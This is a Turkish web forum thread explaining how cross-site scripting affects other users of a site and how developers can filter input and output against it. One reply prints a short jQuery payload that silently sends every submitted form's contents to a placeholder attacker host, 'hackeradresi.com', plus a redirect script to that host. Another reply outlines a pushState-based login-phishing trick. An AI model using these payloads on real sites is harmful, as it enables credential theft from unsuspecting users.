Şimdi Ara

XSS (Cross Site Scripting) Saldırıları sadece kullanıcınını penceresini kapsamaz mı?

Daha Fazla
Bu Konudaki Kullanıcılar: Daha Az
2 Misafir - 2 Masaüstü
5 sn
14
Cevap
0
Favori
2.319
Tıklama
Daha Fazla
İstatistik
  • Konu İstatistikleri Yükleniyor
Öne Çıkar
0 oy
Sayfa: 1
Giriş
Mesaj
  • Arkadaşlar XSS yani cross site scripting saldırıları bildiğim kadarıyla javascript üzerinden oluyo yani client side. SQL injetion'a benzesede sonuçta bu tip saldırılar veritabanı gibi önemli yerlere değil sadece salgırganın internet penceresi üzerindeki javascript veya html'i değiştirmiyor mu?

    Yani birisi xss saldırısı yapsa başka bir kullanıcı bundan etkilenir mi? eğer öyleyse nasıl?



    _____________________________
  • xss saldırılarında genelde javascript ile doğru filtrelenmemiş sayfalara saldırıp html'in render olurken farklı şekilde yorumlanması için çaba harcanır.

    günümüzde yönetim panelleride html üzerinden çalıştığından xss saldırısında siteyi kullanan herkes etkilenebilir. en basit kullanım şekli ile javascript ile sayfa frame içine alınır ve üye girişi sahte bir sayfaya yönlendirilir. border vb şeyler silindiğinden kişi durumu farketmez ve kendi şifresini girebilir.

    benzer olarak sayfada post edilen herşeyi javascript ile oluşturulmuş bir iframe'e post edilmesi sağlanır böylece her türlü veri çalınabilir.

    fakat günümüzde bu şekilde kullanan sayısı çok az. çoğu hacker programlama bilgisine sahip olmadığı için xss açığı bulsa bile onu mesaj yayınlama yada sayfayı yönlendirme için kullanıyor.
    _____________________________
    yaptıklarım yapacaklarımın paralel evrendeki halleridir.
  • quote:

    Orijinalden alıntı: orcnd

    xss saldırılarında genelde javascript ile doğru filtrelenmemiş sayfalara saldırıp html'in render olurken farklı şekilde yorumlanması için çaba harcanır.

    günümüzde yönetim panelleride html üzerinden çalıştığından xss saldırısında siteyi kullanan herkes etkilenebilir. en basit kullanım şekli ile javascript ile sayfa frame içine alınır ve üye girişi sahte bir sayfaya yönlendirilir. border vb şeyler silindiğinden kişi durumu farketmez ve kendi şifresini girebilir.

    benzer olarak sayfada post edilen herşeyi javascript ile oluşturulmuş bir iframe'e post edilmesi sağlanır böylece her türlü veri çalınabilir.

    fakat günümüzde bu şekilde kullanan sayısı çok az. çoğu hacker programlama bilgisine sahip olmadığı için xss açığı bulsa bile onu mesaj yayınlama yada sayfayı yönlendirme için kullanıyor.

    hocam öncelikle o değerli bilgilerin için çok teşekkür ederim. Yalnız şöyle bi olay var ben tek bir şeyi anlamış değilim. şimdi saldırgan javascript ile yaptı saldırısını ve diyelimki bizim siyemizdede açık var, fakat bu siteyi kullanan diğer kullanıcıları nasıl etkiliyor abi? sonuçta client side bir olay bu benim serverıma müdahale edemiyorki saldırgan?
    _____________________________




  • quote:

    Orijinalden alıntı: nightwing

    quote:

    Orijinalden alıntı: orcnd

    xss saldırılarında genelde javascript ile doğru filtrelenmemiş sayfalara saldırıp html'in render olurken farklı şekilde yorumlanması için çaba harcanır.

    günümüzde yönetim panelleride html üzerinden çalıştığından xss saldırısında siteyi kullanan herkes etkilenebilir. en basit kullanım şekli ile javascript ile sayfa frame içine alınır ve üye girişi sahte bir sayfaya yönlendirilir. border vb şeyler silindiğinden kişi durumu farketmez ve kendi şifresini girebilir.

    benzer olarak sayfada post edilen herşeyi javascript ile oluşturulmuş bir iframe'e post edilmesi sağlanır böylece her türlü veri çalınabilir.

    fakat günümüzde bu şekilde kullanan sayısı çok az. çoğu hacker programlama bilgisine sahip olmadığı için xss açığı bulsa bile onu mesaj yayınlama yada sayfayı yönlendirme için kullanıyor.

    hocam öncelikle o değerli bilgilerin için çok teşekkür ederim. Yalnız şöyle bi olay var ben tek bir şeyi anlamış değilim. şimdi saldırgan javascript ile yaptı saldırısını ve diyelimki bizim siyemizdede açık var, fakat bu siteyi kullanan diğer kullanıcıları nasıl etkiliyor abi? sonuçta client side bir olay bu benim serverıma müdahale edemiyorki saldırgan?


    işte bu algı xss'i bu kadar önemli yapan şey. xss'in genel kullanımı kullanıcı ile server arasına girerek olur. yani programcının kullanıcı için hazırladığı arayüze javascript ile müdehale edilerek kullanıcının algısı yönetilebilir.

    örnek olarak anasayfadaki duyuru sayfasına xss ile girilmiş bir portala üye girişi yapan herkes risk altındadır. çünkü javascript kodları ile üye giriş formuna girilen her veri hacker'a yollanabilir. eğer bu ağa düşen bir site yöneticisi ise hacker ele geçirdiği yönetici şifresi ile sitenin kodlarını değiştirmeye gerek kalmadan sitenin normal admin panelinden istediğini yapabilir.

    ayrıca bunu bir keylogger olarak düşünüp kişiye ait diğer hesaplara girmeyi deneyebilir. bir çok kişi tüm hesaplarında aynı şifreyi kullanmakta.

     
    $('form').submit(function () {
    var vr=$(this).serialize();
    $('body').append("<iframe src='hackeradresi.com?xss=1&" + vr + "' style='display:none' ></iframe>");
    }



    buna benzer bir kod ve bunun sunucu karşılığı ile sitede doldurulan her formu takip edebilir.

    aslında sitenin kendisinden çok kullanıcılarını hedef alıyor. kullanıcıların bazılarının admin olması siteyide riske sokuyor.

    ama önceki mesajımda dediğim gibi genelde bu kadar detaya girmeyip sadece <script>window.location='hackeradresi.com'</script> kodunu ekleyip geçiyorlar.

    buda çoğu hackerın programlamadan anlamamasının sonucu
    _____________________________
    yaptıklarım yapacaklarımın paralel evrendeki halleridir.




  • quote:

    Orijinalden alıntı: orcnd

    quote:

    Orijinalden alıntı: nightwing

    quote:

    Orijinalden alıntı: orcnd

    xss saldırılarında genelde javascript ile doğru filtrelenmemiş sayfalara saldırıp html'in render olurken farklı şekilde yorumlanması için çaba harcanır.

    günümüzde yönetim panelleride html üzerinden çalıştığından xss saldırısında siteyi kullanan herkes etkilenebilir. en basit kullanım şekli ile javascript ile sayfa frame içine alınır ve üye girişi sahte bir sayfaya yönlendirilir. border vb şeyler silindiğinden kişi durumu farketmez ve kendi şifresini girebilir.

    benzer olarak sayfada post edilen herşeyi javascript ile oluşturulmuş bir iframe'e post edilmesi sağlanır böylece her türlü veri çalınabilir.

    fakat günümüzde bu şekilde kullanan sayısı çok az. çoğu hacker programlama bilgisine sahip olmadığı için xss açığı bulsa bile onu mesaj yayınlama yada sayfayı yönlendirme için kullanıyor.

    hocam öncelikle o değerli bilgilerin için çok teşekkür ederim. Yalnız şöyle bi olay var ben tek bir şeyi anlamış değilim. şimdi saldırgan javascript ile yaptı saldırısını ve diyelimki bizim siyemizdede açık var, fakat bu siteyi kullanan diğer kullanıcıları nasıl etkiliyor abi? sonuçta client side bir olay bu benim serverıma müdahale edemiyorki saldırgan?


    işte bu algı xss'i bu kadar önemli yapan şey. xss'in genel kullanımı kullanıcı ile server arasına girerek olur. yani programcının kullanıcı için hazırladığı arayüze javascript ile müdehale edilerek kullanıcının algısı yönetilebilir.

    örnek olarak anasayfadaki duyuru sayfasına xss ile girilmiş bir portala üye girişi yapan herkes risk altındadır. çünkü javascript kodları ile üye giriş formuna girilen her veri hacker'a yollanabilir. eğer bu ağa düşen bir site yöneticisi ise hacker ele geçirdiği yönetici şifresi ile sitenin kodlarını değiştirmeye gerek kalmadan sitenin normal admin panelinden istediğini yapabilir.

    ayrıca bunu bir keylogger olarak düşünüp kişiye ait diğer hesaplara girmeyi deneyebilir. bir çok kişi tüm hesaplarında aynı şifreyi kullanmakta.

     
    $('form').submit(function () {
    var vr=$(this).serialize();
    $('body').append("<iframe src='hackeradresi.com?xss=1&" + vr + "' style='display:none' ></iframe>");
    }



    buna benzer bir kod ve bunun sunucu karşılığı ile sitede doldurulan her formu takip edebilir.

    aslında sitenin kendisinden çok kullanıcılarını hedef alıyor. kullanıcıların bazılarının admin olması siteyide riske sokuyor.

    ama önceki mesajımda dediğim gibi genelde bu kadar detaya girmeyip sadece <script>window.location='hackeradresi.com'</script> kodunu ekleyip geçiyorlar.

    buda çoğu hackerın programlamadan anlamamasının sonucu

    Öncelikle değerli görüşlerin için çok teşekkür ederim anlattıklarını iyi bir şekilde anladığımı düşünüyorum. Fakat benim sana sorduğum soru xss nasıl oluyor değil ben şunu merak ediyorum adam mesela siteye xss saldırısında bulundu iyi hoş güzelde, adamın yaptığı değişiklik kendi local bilgisayarını bağlar yani ben kendi evimden xss saldırısına uğramış bir siteye girdiğim zaman benim gördüğüm site manipule edilmemiş olan site olur yani hackerın yaptığı değişiklik kendisini etkiler hocam, beni etkileyemez, çükü javascript client site'ta çalışır. Doğru değil mi hocam????
    _____________________________




  • javascript client-side çalışıyor ancak amaç bu kodları hedefteki sitede çalıştırmak.
    mesela yorum yaparken yorumun içine eklerler. böylece yorum yayınlandığında javascript kodu çalışır ve xss olur. veya bir forumda postun adının içine yazarlar kodu. post en son yazılar kısmında göründüğünde kod çalışır ve xss gerçekleşmiş olur.

    hatta bazen saldırılan site çok güçlüdür aşamadıklarında o sitenin rss ve benzeri şekilde veri çektiği başka bir site bulunup orası hacklenir ve asıl hedef olan sitenin çektiği verilerin arasına javascript kodları yerleştirilerek xss gerçekleştirilir.
    _____________________________
    yaptıklarım yapacaklarımın paralel evrendeki halleridir.
  • quote:

    Orijinalden alıntı: orcnd

    mesela yorum yaparken yorumun içine eklerler. böylece yorum yayınlandığında javascript kodu çalışır ve xss olur.


    Saygıdeğer hocam şöyle bir sualim olucak verdiğin örnekle ilgili, yorum yaparken yorumun içine eklerler diyosun daha sonra bu yorum başka birninin sayfasında görünürse otomatikman javascript çalışır diyosun tamam gayet mantıklı geliyo kulağa fakat bu yorumun yorum olması için veritabanına eklenmesi gerekli doğrumudur? Bi şekilde veritabanına girecekki bu data tutulsun, belki veritabanına giren kod, veritabanına zarar vermiyor ama o kod web browserda derlendiği zaman tehlikeli oluyor. O zaman sonuç olarak veritabanına insert yaptığımız dataları iyice kontrol ediceğiz demektir bu? doğrumu anlamışım hocam? Yani sonuç olarak xss'i önlemek için ne yapmak gerekiyor? Sadece veritabanına giren dataları kontrol etmek yeter mi?
    _____________________________




  • Yapay Zeka’dan İlgili Konular
    Daha Fazla Göster
  • veritabanına zarar vermez çünkü veritabanı için javascript kodları sadece veriden ibarettir. zaten xss'in çıkış noktasıda bu. eskiden sitenin güvenliği için birşeyler yaparken hedefin doğrudan sistemin kendisi olduğu varsayılırdı. buna önlem olarak sql injection gibi yöntemler için filtreler geliştirildi. xss ise daha dolaylı yoldan bir hack yöntemi olarak ortaya çıktı.

    xss için verdiğim örnekler yanıltmasın. xss için kıstas veritabanına kayıt yapılıp gösterilmesi değildir. xss gerçekleşmesinin koşulu zararlı kodun bir şekilde güvenli kişiler tarafından açıklar yüzünden sunulmasıdır.

    daha önce verdiğimm örnekteki gibi rss ile haberleri çektiğin bir siteyi hackleyip rss çıktısının her satırına javascript kodları yerleştirebilirler. sen yorum sayfasına önlem almış olabilirsin ama çoğu kişi rss sayfasına önlem almaz. zararlı kod bir şekilde site tarafından yazdırılmış olur.

    burada alınacak en garanti önlem çıktı sayfası oluşturulurkende filtreleme yapabilmek. ancak bu çok zahmetli bir şey. bu yüzden çoğu programcı sadece giriş araçlarını denetliyor.

    yani başka bir haber sitesinden rss çekiliyorsa o rss'de filtrelere tabi oluyor, yorum sayfasına yazılan yorumda. eğer giriş öğelerinden birini filtrelemeyi unutursan xss için açık oluşmuş oluyor.

    özetle sadece insert dataları değil sergilemeyi düşündüğün tüm dataları filtrelemen gerekli. forumlarda kullandığımız bbcode sisteminin çıkış amaçlarından biride bu filtrelere takılmadan html özelliklerini kullanmak isteğidir.
    _____________________________
    yaptıklarım yapacaklarımın paralel evrendeki halleridir.




  • farklı yontemleri vardır xss cookie ile çalışır sql gıbı veritabanına sorgu yapmaz yada scripte bağlı mesela
    PushState() Kullanarak XSS:
    HTML5 ile gelen history.pushState(), bize gecmisimizi duzenleyebilme imkani sunuyor. AJAXwebsitelerinde kolayca gecmisi degistirerek URL’yi degistirmek icin kullanilmak uzere tasarlanan bi fonksyon . PushState() ile kullanicilar adres cubugunda gozuken URL’yi dokumani yenilemedendegistirebiliyor.

    bazen facebook hesaplarınızda böyle çalınıyor..

    BU saldiri ile URL’nin tamamini farkli bir URL ile degil, ayni domain uzerinde farkli bir yol ile degistirilebilir. Bu ne ise yarar derseniz eger su sekilde asama asama anlatayim:

    1.http://resim.donanimhaber.com/umtaytr/dosya?q=XSS gibi bir linkte XSS oldugunu dusunelim.

    2. Saldirgan kurbana gonderdigi pushState() iceren XSS linki ile kurbanin URL’sinihttp://resim.donanimhaber.com/login.php seklinde degistirir. Bu, tarayici login.php sayfasini acmadigi halde adres cubugununhttp://resim.donanimhaber.com/login.php gibi gorunmesini saglar.

    3. Kurban linke tiklar ve icerigi gorebilmesi icin oturum acmasi gerektigini dusunur. Kurbanimiz fake facebook sayfalarindan haberdar oldugu icin hemen sayfanin kaynak kodlarina bakar fakat zararli hicbirseybulamaz cunku saldirganin URL’sine degil fhttp://resim.donanimhaber.com/login.php kaynak kodlarina bakmis olur.

    4. Kurban rahatca giris yapabilecegini dusunup “Kullanici Adi” “Sifre”yi girer ve saldirgan oturumu calar... “Fake” olayina yepyeni bir bakis getirebilirsiniz.
    _____________________________




  • quote:

    Orijinalden alıntı: orcnd

    veritabanına zarar vermez çünkü veritabanı için javascript kodları sadece veriden ibarettir. zaten xss'in çıkış noktasıda bu. eskiden sitenin güvenliği için birşeyler yaparken hedefin doğrudan sistemin kendisi olduğu varsayılırdı. buna önlem olarak sql injection gibi yöntemler için filtreler geliştirildi. xss ise daha dolaylı yoldan bir hack yöntemi olarak ortaya çıktı.

    xss için verdiğim örnekler yanıltmasın. xss için kıstas veritabanına kayıt yapılıp gösterilmesi değildir. xss gerçekleşmesinin koşulu zararlı kodun bir şekilde güvenli kişiler tarafından açıklar yüzünden sunulmasıdır.

    daha önce verdiğimm örnekteki gibi rss ile haberleri çektiğin bir siteyi hackleyip rss çıktısının her satırına javascript kodları yerleştirebilirler. sen yorum sayfasına önlem almış olabilirsin ama çoğu kişi rss sayfasına önlem almaz. zararlı kod bir şekilde site tarafından yazdırılmış olur.

    burada alınacak en garanti önlem çıktı sayfası oluşturulurkende filtreleme yapabilmek. ancak bu çok zahmetli bir şey. bu yüzden çoğu programcı sadece giriş araçlarını denetliyor.

    yani başka bir haber sitesinden rss çekiliyorsa o rss'de filtrelere tabi oluyor, yorum sayfasına yazılan yorumda. eğer giriş öğelerinden birini filtrelemeyi unutursan xss için açık oluşmuş oluyor.

    özetle sadece insert dataları değil sergilemeyi düşündüğün tüm dataları filtrelemen gerekli. forumlarda kullandığımız bbcode sisteminin çıkış amaçlarından biride bu filtrelere takılmadan html özelliklerini kullanmak isteğidir.

    Bende bir çok siteden xml alıp parse ediyorum hem javascript ilede yaptığım oluyor php ilede. Başkasitelerden aldığımız XML, RSS veya JSON'ı nasıl güvenli şekilde parse edebiliri yani söylediğin saldırılardan korunmak için ne yapmamız lazım?
    _____________________________




  • quote:

    Orijinalden alıntı: nightwing

    Bende bir çok siteden xml alıp parse ediyorum hem javascript ilede yaptığım oluyor php ilede. Başkasitelerden aldığımız XML, RSS veya JSON'ı nasıl güvenli şekilde parse edebiliri yani söylediğin saldırılardan korunmak için ne yapmamız lazım?

    xml'i parse ederken bir sorun yok zaten xml yapısına karşı bir şey yapamazlar çünkü orada bir protokol var. protokol değişirse senin kodun xml'i parse edemez.

    xml'i parse ettikden xss kontrollerini uygulaman lazım. bunu hemen xml' parse komudunun arkasından bir fonksyionlar foreach döngüsüyle yapabilirsin.

    veya arayüzü oluşturan kodlar içinde ekrana yazdırırken bir xss filtre fonksiyonu uyguladıkdan sonra yazdırırsın. ikiside iş görür
    _____________________________
    yaptıklarım yapacaklarımın paralel evrendeki halleridir.
  • quote:

    Orijinalden alıntı: orcnd

    quote:

    Orijinalden alıntı: nightwing

    Bende bir çok siteden xml alıp parse ediyorum hem javascript ilede yaptığım oluyor php ilede. Başkasitelerden aldığımız XML, RSS veya JSON'ı nasıl güvenli şekilde parse edebiliri yani söylediğin saldırılardan korunmak için ne yapmamız lazım?

    xml'i parse ederken bir sorun yok zaten xml yapısına karşı bir şey yapamazlar çünkü orada bir protokol var. protokol değişirse senin kodun xml'i parse edemez.

    xml'i parse ettikden xss kontrollerini uygulaman lazım. bunu hemen xml' parse komudunun arkasından bir fonksyionlar foreach döngüsüyle yapabilirsin.

    veya arayüzü oluşturan kodlar içinde ekrana yazdırırken bir xss filtre fonksiyonu uyguladıkdan sonra yazdırırsın. ikiside iş görür



    xss kontrollerini nasıl uygulayayım? yani sadece tag varmı diye mi bakıyim?
    _____________________________




  • o içeriğie göre değişir. eğer tagları kullanman gereken bir veriyi kontrol ediceksen ya forumlardaki gibi bbcode kullanıcaksın yada gerçekten iyi bir xss filtre kodu kullanıcaksın.
    internette çeşitli xss filtre kodları var ancak çoğu preg_replace ile yapıldığından türkçe karakterleri eksik. bu tarz bir fonksiyonu alıp biraz modifiye edip kullanabilirsin.

    eğer içinde hiç tag yoksa sadece harfler sayılar ve bazı karakterler dışında herşeyi temizlersin. en güvenli yol şüphesiz bu

    filtreleme kodu ne kadar esnek olursa o kadar riskli oluyor.
    _____________________________
    yaptıklarım yapacaklarımın paralel evrendeki halleridir.
  • quote:

    Orijinalden alıntı: orcnd

    o içeriğie göre değişir. eğer tagları kullanman gereken bir veriyi kontrol ediceksen ya forumlardaki gibi bbcode kullanıcaksın yada gerçekten iyi bir xss filtre kodu kullanıcaksın.
    internette çeşitli xss filtre kodları var ancak çoğu preg_replace ile yapıldığından türkçe karakterleri eksik. bu tarz bir fonksiyonu alıp biraz modifiye edip kullanabilirsin.

    eğer içinde hiç tag yoksa sadece harfler sayılar ve bazı karakterler dışında herşeyi temizlersin. en güvenli yol şüphesiz bu

    filtreleme kodu ne kadar esnek olursa o kadar riskli oluyor.

    Eyvallah hocam.
    _____________________________
  • 
Sayfa: 1
- x
Bildirim
mesajınız kopyalandı (ctrl+v) yapıştırmak istediğiniz yere yapıştırabilirsiniz.